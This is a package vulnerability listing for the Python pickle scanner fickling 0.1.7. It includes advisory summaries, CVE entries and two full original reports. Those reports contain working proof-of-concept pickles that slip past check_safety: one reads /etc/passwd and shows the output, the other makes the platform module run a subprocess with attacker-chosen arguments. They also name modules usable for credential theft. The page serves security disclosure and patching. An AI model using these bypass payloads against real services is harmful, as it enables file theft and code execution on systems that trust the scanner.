Search for packages
| purl | pkg:pypi/fickling@0.1.7 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-778g-c87v-cff7
Aliases: GHSA-5hwf-rc88-82xm |
Fickling missing RCE-capable modules in UNSAFE_IMPORTS |
Affected by 2 other vulnerabilities. |
|
VCID-c229-5aam-uqfx
Aliases: GHSA-mxhj-88fx-4pcv |
Fickling: OBJ opcode call invisibility bypasses all safety checks |
Affected by 4 other vulnerabilities. |
|
VCID-jteq-t7vj-jbbn
Aliases: GHSA-83pf-v6qq-pwmr |
Fickling has a detection bypass via stdlib network-protocol constructors |
Affected by 4 other vulnerabilities. |
|
VCID-syqh-txn7-5qcv
Aliases: GHSA-wccx-j62j-r448 |
Fickling has `always_check_safety()` bypass: pickle.loads and _pickle.loads remain unhooked |
Affected by 2 other vulnerabilities. |
|
VCID-tczn-2cjz-d7en
Aliases: GHSA-r48f-3986-4f9c |
fickling modules linecache, difflib and gc are missing from the unsafe modules blocklist # Our analysis As stated in the [project's security policy](https://github.com/trailofbits/fickling/security/policy), we also don't consider `UnusedVariables` bypasses to be security issues. We added several unsafe modules mentioned by the reporter in advisory comments to the blocklist (https://github.com/trailofbits/fickling/commit/7f39d97258217ee2c21a1f5031d4a6d7343eb30d). # Original report Title: UnusedVariables analysis bypass via BUILD opcode Arbitrary File Read through fickling.load() ### Summary Two independent bugs in fickling's AST-based static analysis combine to allow a malicious pickle file to execute arbitrary stdlib function calls - including reading sensitive files - while check_safety() returns Severity.LIKELY_SAFE and fickling.load() completes without raising UnsafeFileError. A server using fickling.load() as a security gate before deserializing untrusted pickle data (its documented use case) is fully bypassed. The attacker receives the contents of any file readable by the server process as the return value of fickling.load(). ### Details Interpreter.unused_assignments() does not scan the result assignment's RHS File: fickling/fickle.py, Interpreter.unused_assignments(), ~line 1242 ```python for statement in self.module_body: if isinstance(statement, ast.Assign): if ( len(statement.targets) == 1 and isinstance(statement.targets[0], ast.Name) and statement.targets[0].id == "result" ): break ... statement = statement.value if statement is not None: for node in ast.walk(statement): if isinstance(node, ast.Name): used.add(node.id) ``` When the loop reaches result = _varN, it breaks immediately. The right-hand side of the result assignment is never walked for variable references. Any variable whose only reference is inside the result expression is therefore never added to the used set and is incorrectly flagged as unused - unless it also appears in an earlier non-assignment statement. The BUILD opcode generates exactly such a non-assignment statement: ```python # Build.run() generates: _var4 = _var3 # Assign - _var3 added to used _var4.__setstate__(_var2) # Expr - _var2 and _var4 added to used ``` This makes _var2 (the result of the dangerous call) appear in the used set via the __setstate__ expression, so UnusedVariables never flags it. File: fickling/fickle.py, TupleThree.run(), and siblings ```python def run(self, interpreter: Interpreter): top = interpreter.stack.pop() mid = interpreter.stack.pop() bot = interpreter.stack.pop() interpreter.stack.append(ast.Tuple((bot, mid, top), ast.Load())) # ^^^^^^^^^^^^^^^^ # Python tuple, not list ``` Python's ast module requires repeated fields (such as Tuple.elts) to be lists. When elts is a Python tuple, ast.iter_child_nodes() does not yield its elements, so ast.walk() never descends into them. Any variable reference stored inside such a tuple node is invisible to every analysis that uses ast.walk() - including UnusedVariables. Demo: ```python import ast name = ast.Name(id='_var1', ctx=ast.Load()) # Correct (list elts) - ast.walk finds it t = ast.Tuple(elts=[name], ctx=ast.Load()) print([n.id for n in ast.walk(t) if isinstance(n, ast.Name)]) # ['_var1'] # Buggy (tuple elts) - ast.walk finds nothing t = ast.Tuple(elts=(name,), ctx=ast.Load()) print([n.id for n in ast.walk(t) if isinstance(n, ast.Name)]) # [] ``` #### Combined attack - arbitrary file read The two bugs combine with the absence of `linecache` and `difflib` from `UNSAFE_IMPORTS`: ``` from linecache import getlines # not in UNSAFE_IMPORTS _var0 = getlines('/etc/passwd') # reads the file from builtins import enumerate _var1 = enumerate(_var0) # _var0 in RHS - added to used from builtins import dict _var2 = dict(_var1) # _var1 in RHS - added to used; produces {0:'line1',...} from difflib import Differ _var3 = Differ() # stdlib, not in UNSAFE_IMPORTS _var4 = _var3 _var4.__setstate__(_var2) # BUILD Expr - _var2 and _var4 added to used result = _var3 # loop breaks here; nothing in defined−used ``` check_safety() returns Severity.LIKELY_SAFE. fickling.load() calls pickle.loads(). At runtime, Differ().__dict__.update({0: 'root:x:0:0\n', ...}) succeeds and the file contents are returned to the caller. ### PoC `pip install fickling` ```python #!/usr/bin/env python3 import io import sys import fickling.fickle as op from fickling.fickle import Pickled from fickling.analysis import check_safety, Severity from fickling.loader import load from fickling.exception import UnsafeFileError TARGET = "/etc/passwd" pickled = Pickled([ op.Proto.create(4), op.ShortBinUnicode("linecache"), op.ShortBinUnicode("getlines"), op.StackGlobal(), op.ShortBinUnicode(TARGET), op.TupleOne(), op.Reduce(), op.Memoize(), # memo[0] = _var0 = getlines(TARGET) op.Global("builtins enumerate"), op.BinGet(0), op.TupleOne(), op.Reduce(), op.Memoize(), # memo[1] = _var1 = enumerate(_var0) op.Global("builtins dict"), op.BinGet(1), op.TupleOne(), op.Reduce(), op.Memoize(), # memo[2] = _var2 = dict(_var1) op.ShortBinUnicode("difflib"), op.ShortBinUnicode("Differ"), op.StackGlobal(), op.EmptyTuple(), op.Reduce(), op.Memoize(), # memo[3] = _var3 = Differ() op.BinGet(2), # push _var2 as BUILD state op.Build(), # _var4=_var3; _var4.__setstate__(_var2) op.BinGet(3), op.Stop(), ]) result = check_safety(pickled) assert result.severity == Severity.LIKELY_SAFE, f"Expected LIKELY_SAFE, got {result.severity}" print(f"[+] check_safety verdict : {result.severity.name} (bypass confirmed)") buf = io.BytesIO() pickled.dump(buf) obj = load(io.BytesIO(buf.getvalue())) lines = {k: v for k, v in obj.__dict__.items() if isinstance(k, int)} print(f"[+] fickling.load() returned : {type(obj).__name__}") print(f"[+] {TARGET} - {len(lines)} lines exfiltrated:\n") for i in sorted(lines): print(f"{lines[i]}", end="") ``` ### Result ``` [+] check_safety verdict : LIKELY_SAFE (bypass confirmed) [+] fickling.load() returned : Differ [+] /etc/passwd - 58 lines exfiltrated: root:x:0:0:root:/root:/usr/bin/zsh daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false systemd-timesync:x:992:992:systemd Time Synchronization:/:/usr/sbin/nologin ``` ### Impact Vulnerability type: Static analysis bypass leading to arbitrary file read (and arbitrary stdlib code execution) through a security-gated deserialization API. Who is impacted: Any application or service that calls fickling.load() or fickling.loads() to validate untrusted pickle data before deserializing it. This is the primary documented use case of the fickling.loader module. The attacker supplies a pickle file; the server processes it through fickling.load(), receives LIKELY_SAFE, and unpickles the payload. File contents are returned directly in the deserialized object's attributes. Beyond file read, the same BUILD-opcode technique can be applied to any stdlib module absent from UNSAFE_IMPORTS (e.g., gc.get_objects() for full in-process memory inspection, inspect.stack() for call-frame local variable exfiltration, netrc.netrc() for credential theft). |
Affected by 0 other vulnerabilities. |
|
VCID-v9xe-g7r2-6qdj
Aliases: GHSA-mhc9-48gj-9gp3 |
Fickling has safety check bypass via REDUCE+BUILD opcode sequence |
Affected by 4 other vulnerabilities. |
|
VCID-xb9f-3hwx-3ffj
Aliases: GHSA-5cxw-w2xg-2m8h |
fickling's `platform` module subprocess invocation evades `check_safety()` with `LIKELY_SAFE` # Our assessment We added `platform` to the blocklist of unsafe modules (https://github.com/trailofbits/fickling/commit/351ed4d4242b447c0ffd550bb66b40695f3f9975). It was not possible to inject extra arguments to `file` without first monkey-patching `platform._follow_symlinks` with the pickle, as it always returns an absolute path. We independently hardened it with https://github.com/trailofbits/fickling/commit/b9e690c5a57ee9cd341de947fc6151959f4ae359 to reduce the risk of obtaining direct module references while evading detection. https://github.com/python/cpython/blob/6d1e9ceed3e70ebc39953f5ad4f20702ffa32119/Lib/platform.py#L687-L695 ```python target = _follow_symlinks(target) # "file" output is locale dependent: force the usage of the C locale # to get deterministic behavior. env = dict(os.environ, LC_ALL='C') try: # -b: do not prepend filenames to output lines (brief mode) output = subprocess.check_output(['file', '-b', target], stderr=subprocess.DEVNULL, env=env) ``` # Original report ## Summary A crafted pickle invoking `platform._syscmd_file`, `platform.architecture`, or `platform.libc_ver` passes `check_safety()` with `Severity.LIKELY_SAFE` and zero findings. During `fickling.loads()`, these functions invoke `subprocess.check_output` with attacker-controlled arguments or read arbitrary files from disk. **Clarification:** The subprocess call uses a list argument (`['file', '-b', target]`), not `shell=True`, so the attacker controls the file path argument to the `file` command, not the command itself. The impact is subprocess invocation with attacker-controlled arguments and information disclosure (file type probing), not arbitrary command injection. ## Affected versions `<= 0.1.9` (verified on upstream HEAD as of 2026-03-04) ## Non-duplication check against published Fickling GHSAs No published advisory covers `platform` module false-negative bypass. This follows the same structural pattern as GHSA-5hwf-rc88-82xm (missing modules in `UNSAFE_IMPORTS`) but covers a distinct set of functions. ## Root cause 1. `platform` not in `UNSAFE_IMPORTS` denylist. 2. `OvertlyBadEvals` skips calls imported from stdlib modules. 3. `UnusedVariables` heuristic neutralized by making call result appear used (`SETITEMS` path). ## Reproduction (clean upstream) ```python from unittest.mock import patch import fickling import fickling.fickle as op from fickling.fickle import Pickled from fickling.analysis import check_safety pickled = Pickled([ op.Proto.create(4), op.ShortBinUnicode('platform'), op.ShortBinUnicode('_syscmd_file'), op.StackGlobal(), op.ShortBinUnicode('/etc/passwd'), op.TupleOne(), op.Reduce(), op.Memoize(), op.EmptyDict(), op.ShortBinUnicode('init'), op.ShortBinUnicode('x'), op.SetItem(), op.Mark(), op.ShortBinUnicode('trace'), op.BinGet(0), op.SetItems(), op.Stop(), ]) results = check_safety(pickled) print(results.severity.name, len(results.results)) # LIKELY_SAFE 0 with patch('subprocess.check_output', return_value=b'ASCII text') as mock_sub: fickling.loads(pickled.dumps()) print('subprocess called?', mock_sub.called) # True print('args:', mock_sub.call_args[0]) # (['file', '-b', '/etc/passwd'],) ``` Additional affected functions (same pattern): - `platform.architecture('/etc/passwd')` — calls `_syscmd_file` internally - `platform.libc_ver('/etc/passwd')` — opens and reads arbitrary file contents ## Minimal patch diff ```diff --- a/fickling/fickle.py +++ b/fickling/fickle.py @@ + "platform", ``` ## Validation after patch - Same PoC flips to `LIKELY_OVERTLY_MALICIOUS` - `fickling.loads` raises `UnsafeFileError` - `subprocess.check_output` is not called ## Impact - **False-negative verdict:** `check_safety()` returns `LIKELY_SAFE` with zero findings for a pickle that invokes a subprocess with attacker-controlled arguments. - **Subprocess invocation:** `platform._syscmd_file` calls `subprocess.check_output(['file', '-b', target])` where `target` is attacker-controlled. The `file` command reads file headers and returns type information, enabling file existence and type probing. - **File read:** `platform.libc_ver` opens and reads chunks of an attacker-specified file path. |
Affected by 0 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| VCID-bhh2-s75e-ubeb | Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, the unsafe_imports() method in Fickling's static analyzer fails to flag several high-risk Python modules that can be used for arbitrary code execution. Malicious pickles importing these modules will not be detected as unsafe, allowing attackers to bypass Fickling's primary static safety checks. This issue has been patched in version 0.1.7. |
CVE-2026-22609
GHSA-q5qq-mvfm-j35x |
| VCID-d44k-u3qp-77ba | Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, both ctypes and pydoc modules aren't explicitly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE. This issue has been patched in version 0.1.7. |
CVE-2026-22608
GHSA-5hvc-6wx8-mvv4 |
| VCID-m168-6jve-bqhw | Fickling is a Python pickling decompiler and static analyzer. Fickling versions up to and including 0.1.6 do not treat Python's cProfile module as unsafe. Because of this, a malicious pickle that uses cProfile.run() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS. If a user relies on Fickling's output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system. This affects any workflow or product that uses Fickling as a security gate for pickle deserialization. This issue has been patched in version 0.1.7. |
CVE-2026-22607
GHSA-p523-jq9w-64x9 |
| VCID-xrs2-dr3j-gyg9 | Fickling is a Python pickling decompiler and static analyzer. Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS. If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system. This affects any workflow or product that uses Fickling as a security gate for pickle deserialization. This issue has been patched in version 0.1.7. |
CVE-2026-22606
GHSA-wfq2-52f7-7qvj |
| VCID-z44y-upne-fqec | Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, Fickling is vulnerable to detection bypass due to "builtins" blindness. This issue has been patched in version 0.1.7. |
CVE-2026-22612
GHSA-h4rm-mm56-xf63 |